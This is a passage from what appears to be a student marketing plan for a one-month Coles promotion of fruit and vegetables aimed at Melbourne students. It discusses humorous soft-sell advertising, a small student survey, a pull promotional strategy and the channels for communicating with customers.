to be used for this promotion is the emotional approach and a soft sell strategy. Humor will be used a medium in the advertisement to allow students to relate to the campaign easily and for retention of the message to create the need to buy fruits and vegetables at Coles. An anonymous survey was conducted using 20 students in Chisholm College that fit the target audience. They were asked to state what kinds of advertisements they remembered the easiest out of a given three choices. Out of 20 students, 15 said humorous advertisements were the easiest to remember, 2 said informative and 3 said shock advertising. Pull promotional strategy: ‘ In a pull strategy, the manufacturer directs the majority of its promotional effort towards the ultimate consumer in an attempt to get them to pull the products through the marketing channel. ’ (McColl – Kennedy, JR, 1994) A pull promotional strategy creates a high degree of awareness amongst consumers and implants a desire and an interest for the product. This makes the customers to go to the retail store with the determination to find the product to purchase it and if it is not available they urge the retailer to stock up on it. This is the strategy that Coles is aiming at following as the message will be sent directly to the ultimate consumers who are in this case the students, urging them to purchase frozen, fresh and canned fruits and vegetables. And when the demand exceeds the supply, it will cause the Coles retail stores to urge the wholesalers and other links in the product chain to acquire the product causing a pulling effect through the marketing channel. Communication: In order to inform the potential customers about the promotion, effective and efficient advertising must be carried out. The use of Television, the internet, newspapers and magazines help in doing so. Since the target market is only students, it would also be productive to display the advertisements on social networking sites on the internet. To further reach students fliers can be put up on the notice boards and in the college magazines. Point of purchase displays also helps as it improves in store branding and keeps the customer informed. Having sales signs near the product also can lead to impulse buying. The key message sent out here would be that it is cheaper to buy your groceries at Coles than at any other supermarket. Eliciting the desired response: The main reason for fierce advertising and promotions is due to the reason that the sales promotion will be carried out for one month only. During this time period, Coles seeks to attract as many customers as possible to their stores in Melbourne. It is true that the potential customers go through a behavioral or psychological process before purchasing a product called a response hierarchy. The Coles advertisements and promotions seek to fulfill all the steps in this hierarchy chain.